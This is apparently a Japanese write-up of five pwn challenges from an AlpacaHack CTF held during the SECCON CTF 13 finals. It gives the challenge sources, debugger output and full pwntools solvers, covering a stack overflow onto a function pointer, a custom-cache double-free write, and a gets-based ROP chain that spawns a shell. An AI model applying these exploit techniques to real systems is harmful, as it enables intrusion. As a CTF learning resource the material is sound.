🦙

AlpacaHack SECCON CTF 13 決勝観戦CTF WriteUP

2025/03/03に公開

danger of buffer overflow

配布されるバイナリのソースコード

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

void print_flag() {
  char flag[256];
  int fd = open("./flag.txt", O_RDONLY);
  if (fd < 0) { puts("./flag.txt not found"); return; }
  write(1, flag, read(fd, flag, sizeof(flag)));
}

void bye() {
  puts("bye!");
}

int main() {
  setbuf(stdout, NULL);

  char buf[8];
  void (*funcptr)() = bye;
  
  printf("address of print_flag func: %p\n", print_flag);
  printf("gets to buf: ");
  gets(buf);
  printf("content of funcptr: %p\n", funcptr);
  funcptr();
  return 0;
}

問題文の通り、buffer overflowがあります。

以下の箇所で関数ポインタfuncptrをスタックに格納し、main+146で実行しています。

 0x00000000004041d4 <+32>:    lea    rax,[rip+0xffffffffffffffbf]        # 0x40419a <bye>
 0x00000000004041db <+39>:    mov    QWORD PTR [rbp-0x8],rax
 --
 0x0000000000404246 <+146>:   call   rdx

gets関数では標準入力から変数bufに値を入れていますが、確保した8byteより多くの入力をすることでfuncptrを上書きが可能です。

gets関数呼び出し直後のスタックは以下の通りです。

pwndbg> stack
00:0000│ rax rsp 0x7fffffffddf0 ◂— 0x62626261616161 /* 'aaaabbb' */
01:0008-008     0x7fffffffddf8 —▸ 0x40419a (bye) ◂— endbr64
02:0010│ rbp     0x7fffffffde00 ◂— 0x1

bufの直下にfuncptrがあるので、bufを適当な値で埋めた後にfuncptrをprint_flag関数のアドレスで上書きすればFlagが落ちてきます。

以下ソルバーです。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

gdbscript = '''
continue
'''.format(**locals())

exe = "./buffer-overflow"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"

io = start()

payload = flat(
    b"a"*8,
    elf.sym["print_flag"]
)
io.sendline(payload)
io.interactive()

play with memory

問題のソースコードは以下の通りです。

入力値を数値12345と比較し、真ならFlagです。

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

void print_flag() {
  char flag[256];
  int fd = open("./flag.txt", O_RDONLY);
  if (fd < 0) { puts("./flag.txt not found"); return; }
  write(1, flag, read(fd, flag, sizeof(flag)));
}

int main() {
  setbuf(stdout, NULL);
  
  int number = 0;
  printf("input your number!: ");
  scanf("%4s", &number);

  if (number == 12345) {
    print_flag();
  } else {
    printf("number: %d (0x%x)", number, number);
  }
  return 0;
}

以下の箇所で入力を受け付けますが書式文字列には”%4s”を設定しているので、4文字まで入力を受け付けます。

  scanf("%4s", &number);

そもそも5文字入力できない上に、1234のような数値を入力しても文字列型で受け取られるため、0x34333231のような値として評価されてしまいます。

ディスアセンブルを見てみると、main+89で0x3039と比較しています。

   0x00000000004012a5 <+59>:    lea    rax,[rbp-0x4]
   0x00000000004012a9 <+63>:    mov    rsi,rax
   0x00000000004012ac <+66>:    lea    rax,[rip+0xd86]        # 0x402039
   0x00000000004012b3 <+73>:    mov    rdi,rax
   0x00000000004012b6 <+76>:    mov    eax,0x0
   0x00000000004012bb <+81>:    call   0x401100 <__isoc99_scanf@plt>
   0x00000000004012c0 <+86>:    mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004012c3 <+89>:    cmp    eax,0x3039

0x3039は10進数で12345なので、この命令で比較していることを確認できます。

あとは0x3039に対応するような文字列を、リトルエンディアンに注意しつつ入力すればクリアです。

input your number!: 90
Alpaca{l1ttl3_end1an_1s_qu1t3_h4rd_t0_us3d_t0}

Can U Keep A Secret?

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

int main() {
    srand(time(NULL));
    unsigned int secret = rand(), input;
    printf("secret: %u\n", secret);

    // can u keep a secret??/
    secret *= rand();
    secret *= 0x5EC12E7;
    scanf("%u", &input);
    if(input == secret)
        printf("Alpaca{REDACTED}\n");
    return 0;
}

__attribute__((constructor)) void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

入力値がSecretと一致したらクリアな問題でした。

secretはrand()で生成されますが、printされるのでこれを使って同じ値を送ればよいです。

 RDI  0x555555556004 ◂— 'secret: %u\n'
 RSI  0x4b5b29c50x555555555291 <main+72>    call   0x5555555550f0                <0x5555555550f0>

secretは以下の箇所で計算されます。randで生成された値と固定値0x5ec12e7を乗算しています。

=> 0x0000555555555296 <+77>:    mov    eax,DWORD PTR [rbp-0xc]
   0x0000555555555299 <+80>:    imul   eax,eax,0x5ec12e7
   0x000055555555529f <+86>:    mov    DWORD PTR [rbp-0xc],eax
   0x00005555555552a2 <+89>:    lea    rax,[rbp-0x10]
   0x00005555555552a6 <+93>:    mov    rsi,rax
   0x00005555555552a9 <+96>:    lea    rax,[rip+0xd60]        # 0x555555556010
   0x00005555555552b0 <+103>:   mov    rdi,rax
   0x00005555555552b3 <+106>:   mov    eax,0x0

※ *=rand()はどこにいったのかわかってないです

※自分の環境で同一ソースをコンパイルしたら *=rand()があったので謎…くやしい

ともあれ、いったんはディスアセンブルを信じてみることとします。

printされるsecretを受け取り、0x5ec12e7と乗算して送り返すようなプログラムを書いて実行したところFlagをもらえました。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

gdbscript = '''
continue
'''.format(**locals())

exe = "./challenge"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"

io = start()

io.recvuntil(b"secret: ")
secret = int(io.recvline().strip())
secret *= 0x5EC12E7
secret = str(secret).encode()
io.sendline(secret)
io.interactive()

#Alpaca{u_r_pwn_h3r0}

cache crasher

#include <stddef.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define MAX_ALLOC 0x10

union chunk {
  union chunk* next_chunk;
  size_t val;
};

size_t alloced = 0;
union chunk buf[MAX_ALLOC];
union chunk* cache = NULL;
union chunk* allocate() {
  size_t a = sizeof(union chunk);

  union chunk* res;
  if (cache != NULL) {
    res = cache;
    cache = res->next_chunk;
  }
  else {
    if (MAX_ALLOC <= alloced) return NULL; // buf exhausted
    res = &buf[alloced];
    alloced++;
  }

  return res;
}

void free_chunk(union chunk* ptr) {
  ptr->next_chunk = cache;
  cache = ptr;
}

void print_flag() {
  char flag[256];
  int fd = open("./flag.txt", O_RDONLY);
  if (fd < 0) { puts("./flag.txt not found"); return; }
  write(1, flag, read(fd, flag, sizeof(flag)));
}

void dump_info() { // You don't need to read this function!
  printf("Cache:\n");
  union chunk* current = cache; int limit = 5;
  while (buf <= current && current < &buf[MAX_ALLOC]) {
    printf("%p -> ", (void*)current);
    current = current->next_chunk;
    if (--limit == 0) { printf("...\n"); break; }
  }
  if (limit != 0) printf("%p\n", (void*)current);
  printf("Buffer:\n");
  for (size_t i = 0; i < alloced; i++) printf("buf[%zu]: %p (val: 0x%lx)\n", i, (void*)&buf[i], buf[i].val);
}

void (*funcptr)() = dump_info;

#define ALLOC 0
#define FREE  1
int main() {
  setbuf(stdout, NULL);
  printf("address of print_flag: %p\n", print_flag);
  printf("address of funcptr: %p\n", &funcptr);

  int i = 0;
  union chunk* s[MAX_ALLOC];

  int opcode;
  while (1) {
    printf("opcode(0: alloc, 1: free): ");
    if (scanf("%d", &opcode) == EOF) break;
    if (opcode == ALLOC) {
      size_t val;
      s[i] = allocate();
      if (s[i] == NULL) { perror("allocate failed"); exit(1); } 
      printf("data(integer): ");
      if (scanf("%zu", &val) == EOF) break;
      s[i]->val = val;
      i++;
    }
    else {
      size_t ind;
      printf("what index to free: ");
      if (scanf("%zu", &ind) == EOF) break;
      if (ind < 0 || i <= ind) { perror("invalid operand"); exit(1); }
      free_chunk(s[ind]);
    }

    printf("content of funcptr: %p\n", funcptr);
    funcptr();
  }
}

heap入門っぽい問題でした。
tcacheを独自に実装しています。

関数ポインタfuncptrをprint_flag関数のアドレスに上書きできればクリアできそうです。

ある程度自由にallocate, freeが出来るのでこれを利用できそうです。

chunkの実装を見ます。chunkはリンクされたchunkへのポインタと、size_t型のvalを持ちます。


union chunk {
  union chunk* next_chunk;
  size_t val;
};

allocate関数は以下のようになっています。

union chunk* allocate() {
  size_t a = sizeof(union chunk);

  union chunk* res;
  if (cache != NULL) {
    res = cache;
    cache = res->next_chunk;
  }
  else {
    if (MAX_ALLOC <= alloced) return NULL; // buf exhausted
    res = &buf[alloced];
    alloced++;
  }

  return res;
}

cacheがNULL、allocedがMAX_ALLOC(0x10)以上でない場合にはchunkを返します。

cacheがある場合にはcacheの先頭のchunkを取り出し、next_chunkでcacheを更新します。

freeする際にはfree_chunk関数が利用されます。

引数のnext_chunkをcacheで更新し、cacheを引数のアドレスに更新します。


void free_chunk(union chunk* ptr) {
  ptr->next_chunk = cache;
  cache = ptr;
}

上記の仕様を上手く使ってflagを取得できないか試していきます。

適当な数のchunkを確保した後にfreeしていきます。

この時、同じchunkを複数回freeしたときに表示される画面は以下の通りです。

※このバイナリはdump_info関数で画面にchunkの情報を出力してくれます。

$ ./cache
address of print_flag: 0x40222e
address of funcptr: 0x405150
opcode(0: alloc, 1: free): 0
data(integer): 10
content of funcptr: 0x4022a2
Cache:
(nil)
Buffer:
buf[0]: 0x4051a0 (val: 0xa)
opcode(0: alloc, 1: free): 0
data(integer): 10
content of funcptr: 0x4022a2
Cache:
(nil)
Buffer:
buf[0]: 0x4051a0 (val: 0xa)
buf[1]: 0x4051a8 (val: 0xa)
opcode(0: alloc, 1: free): 1
what index to free: 1
content of funcptr: 0x4022a2
Cache:
0x4051a8 -> (nil)
Buffer:
buf[0]: 0x4051a0 (val: 0xa)
buf[1]: 0x4051a8 (val: 0x0)
opcode(0: alloc, 1: free): 1
what index to free: 0
content of funcptr: 0x4022a2
Cache:
0x4051a0 -> 0x4051a8 -> (nil)
Buffer:
buf[0]: 0x4051a0 (val: 0x4051a8)
buf[1]: 0x4051a8 (val: 0x0)
opcode(0: alloc, 1: free): 1
what index to free: 1
content of funcptr: 0x4022a2
Cache:
0x4051a8 -> 0x4051a0 -> 0x4051a8 -> 0x4051a0 -> 0x4051a8 -> ...
Buffer:
buf[0]: 0x4051a0 (val: 0x4051a8)
buf[1]: 0x4051a8 (val: 0x4051a0)
opcode(0: alloc, 1: free):

最後の操作で明らかにおかしな挙動になりました。

free_chunkをコールする直前、cacheにはchunk0 → chunk1となっていますが、

freeするchunkのnext_chunkをcacheで更新し、cacheをfreeするchunkで更新するため、このようなループになっているものと推察できます。

この状態でallocate関数を複数回コールしてみます。

opcode(0: alloc, 1: free): 0
data(integer): 10
content of funcptr: 0x4022a2
Cache:
0x4051a0 -> 0x4051a8 -> 0xa
Buffer:
buf[0]: 0x4051a0 (val: 0x4051a8)
buf[1]: 0x4051a8 (val: 0xa)

opcode(0: alloc, 1: free): 0
data(integer): 10
content of funcptr: 0x4022a2
Cache:
0x4051a8 -> 0xa
Buffer:
buf[0]: 0x4051a0 (val: 0xa)
buf[1]: 0x4051a8 (val: 0xa)

opcode(0: alloc, 1: free): 0
data(integer): 10
content of funcptr: 0x4022a2
Cache:
0xa
Buffer:
buf[0]: 0x4051a0 (val: 0xa)
buf[1]: 0x4051a8 (val: 0xa)

opcode(0: alloc, 1: free): 0
Segmentation fault (core dumped)

一度目のallocateではCacheに入力した10(0xa)がリンクされていることを確認できます。

そのままallocateしていくとセグメンテーションフォルトでキルされます。

上記の挙動を利用し、funcptrをCacheにリンクさせ、allocate後の書き込みでprint_flag関数のアドレスに上書きすることでFlagを獲得できます。

以下はソルバーです。

from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

gdbscript = '''
b *0x402186
continue
'''.format(**locals())

exe = "./cache"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"

def menu(io):
    io.recvuntil(b"opcode(0: alloc, 1: free)")
def allocate(io,data):
    menu(io)
    io.sendline(b"0")
    io.sendline(data)
def free(io,idx):
    menu(io)
    io.sendline(b"1")
    io.sendlineafter(b"what index to free: ",idx)

io = start()

io.recvuntil(b"address of print_flag: ")
print_flag =io.recvline()[:-1].strip()
print_flag = int(print_flag,16)

io.recvuntil(b"address of funcptr: ")
funcptr = int(io.recvline()[:-1].strip(),16)

info("print_flag:%#x",print_flag)
info("funcptr: %#x",funcptr)

allocate(io,b"10")
allocate(io,b"10")

free(io,b"1")
free(io,b"0")
free(io,b"1")

allocate(io,str(funcptr).encode())

allocate(io,b"10")
allocate(io,b"10")

allocate(io,str(print_flag).encode())
io.interactive()

#Alpaca{ar1g4t0u_alloc4t0r}

Alpaca Wakekko

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

void wakekko() {
    const char *word = "alpaca";
    char ans[0x10];
    int pos = rand() % (strlen(word) - 1) + 1;
    printf("%.*s ", pos, word);
    gets(ans);
    if(strcmp(ans, word + pos) != 0) {
        system("echo ':('\n");
        exit(1);
    }
}

int main() {
    srand(time(NULL));
    while(1)
        wakekko();
    return 0;
}

__attribute__((constructor)) void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

BoF問です。ぱっと見gets関数があり、単純なBoFかと思いましたが、以下の部分で検閲がかかるので簡単にはいきません。

if(strcmp(ans, word + pos) != 0) {
        system("echo ':('\n");
        exit(1);
    }

問題バイナリではalpacaという文字列の一部が出力されますが、それを補完する形で入力をしないとexitしてしまいます。

以下の方法でこれを回避し、BOFを起せました。

  1. alpaca\x00\x00を入力
    1. strcmpは\x00で終端とみなすため、かつ位置調整
  2. posを0で上書き
  3. wordを”alpaca”を指すポインタで上書き
  4. 適当なBufferを入れる
payload = flat(
    b"alpaca"+b"\x00"*2,
    b"A"*8,
    p32(0),p32(0),
    p64(0x402004),
    b"B"*0x18,
    b"C"*8
)

上記のペイロードを送ると、C*8でsaved ripを上書きできるのであとはROPなりでshellを取れれば…と思ったところで詰まりました。

バイナリ内でsystem関数をコールしているかつno-PIEなのでsystem関数自体のコールは可能です。

しかし、pop rdiなどのガジェットがないので引数の設定が出来ません。

printを呼んでなんらかのリークが出来るか、strcmp後にsystemを呼べるのでstrcmpでセットされる文字列ポインタ(alpaca)をどうにか/bin/shなどにして突破できないか。など考えましたがこれらはうまくいきませんでした。

secconの過去問であったgetsを使った引数の設定方法を思い出したので、それを使ったところ無事シェルを取れました。

方法は以下です。

まず、ROPでgetsを呼び出します。この際rdiにはスタックのアドレスが設定されています。

このアドレスは利用できないので、ここでは適当な値を入力します。

getsの処理が終わるとrdiには  RDI 0x7fda36868a80 (_IO_stdfile_0_lock) ◂— 0x0が設定されています。このアドレスは書き込み可能かつ、gets直後にrdiにこのアドレスが設定されることを利用します。

getsの処理中に一部の値を減算するような処理があるのでこれに注意しつつ、gets直後に/bin/shが書き込まれているような入力をします。これでRDIに”/bin/sh”を指すポインタを設定することに成功しました。

あとはrspを整えつつsystem関数をコールすればshellを実行できます。

以下ソルバーです。


from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

gdbscript = '''
b *wakekko
b *0x401302
b *wakekko+180
b *0x40101a
continue
'''.format(**locals())

exe = "./challenge"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"

io = start()

ret =0x000000000040101a
payload = flat(
    b"alpaca"+b"\x00"*2,
    b"A"*8,
    p32(0),p32(0),
    p64(0x402004),
    b"B"*0x18,
    ret,
    elf.sym["gets"],
    ret,
    elf.sym["gets"],
    ret,
    elf.sym["system"],
    b"C"*8
)

io.sendline(payload)
io.sendline("aaa")
io.sendline(b"/bin0sh\x00")

io.interactive()

#Alpaca{congra_______tulations}

感想

どの問題も楽しかったですが、特にcache_cracher, Alpaca Wakekkoはとても親切で面白いなーと思いました。

オフライン参加でモチベも上がったので今年こそは精進したいですね(何回言ったかわかりませんが。)

Discussion